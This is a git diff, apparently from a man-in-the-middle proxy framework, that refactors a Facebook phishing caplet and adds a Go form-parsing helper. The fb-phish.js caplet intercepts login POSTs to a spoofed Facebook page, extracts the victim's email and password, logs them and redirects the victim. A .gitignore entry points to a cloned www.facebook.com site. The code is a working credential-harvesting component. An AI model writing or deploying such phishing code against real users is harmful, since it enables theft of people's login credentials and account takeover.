diff --git a/caplets/fb-phish.js b/caplets/fb-phish.js index 768e5b7e..be05cb73 100644 --- a/caplets/fb-phish.js +++ b/caplets/fb-phish.js @@ -1,46 +1,19 @@ - var RESET = "\033[0m"; function R(s) { return "\033[31m" + s + RESET; } -function G(s) { - return "\033[32m" + s + RESET; -} - function B(s) { return "\033[34m" + s + RESET; } -function Y(s) { - return "\033[33m" + s + RESET; -} - -function DIM(s) { - return "\033[2m" + s + RESET; -} - -function BOLD(s) { - return "\033[1m" + s + RESET; -} - function onRequest(req, res) { if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) { - var body = req.ReadBody(); - var parts = body.split('&'); - var email = "?", pass = "?"; + var form = req.ParseForm(); + var email = form["email"] || "?", + pass = form["pass"] || "?"; - for( var i = 0; i < parts.length; i++ ) { - var nv = parts[i].split('='); - if( nv[0] == "email" ) { - email = nv[1]; - } - else if( nv[0] == "pass" ) { - pass = nv[1]; - } - } - log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" ); res.Status = 301; diff --git a/caplets/http-req-dump.js b/caplets/http-req-dump.js index 6af290d9..7579d78a 100644 --- a/caplets/http-req-dump.js +++ b/caplets/http-req-dump.js @@ -43,12 +43,9 @@ function dumpPlain(req) { function dumpForm(req) { log( " > " + BOLD(G("Form")) ); - var body = req.ReadBody(); - var parts = body.split('&'); - - for( var i = 0; i < parts.length; i++ ) { - var nv = parts[i].split('='); - log( " " + B(nv[0]) + " : " + Y(nv[1]) ); + var form = req.ParseForm(); + for( var key in form ) { + log( " " + B(key) + " : " + Y(form[key]) ); } } diff --git a/caplets/www/.gitignore b/caplets/www/.gitignore new file mode 100644 index 00000000..27bad818 --- /dev/null +++ b/caplets/www/.gitignore @@ -0,0 +1 @@ +www.facebook.com diff --git a/modules/http_proxy_js_request.go b/modules/http_proxy_js_request.go index 59446115..63a97ee2 100644 --- a/modules/http_proxy_js_request.go +++ b/modules/http_proxy_js_request.go @@ -4,6 +4,7 @@ import ( "fmt" "io/ioutil" "net/http" + "net/url" "strings" ) @@ -63,3 +64,26 @@ func (j *JSRequest) ReadBody() string { return j.Body } + +func (j *JSRequest) ParseForm() map[string]string { + if j.Body == "" { + j.Body = j.ReadBody() + } + + form := make(map[string]string, 0) + parts := strings.Split(j.Body, "&") + + for _, part := range parts { + nv := strings.SplitN(part, "=", 2) + if len(nv) == 2 { + unescaped, err := url.QueryUnescape(nv[1]) + if err == nil { + form[nv[0]] = unescaped + } else { + form[nv[0]] = nv[1] + } + } + } + + return form +}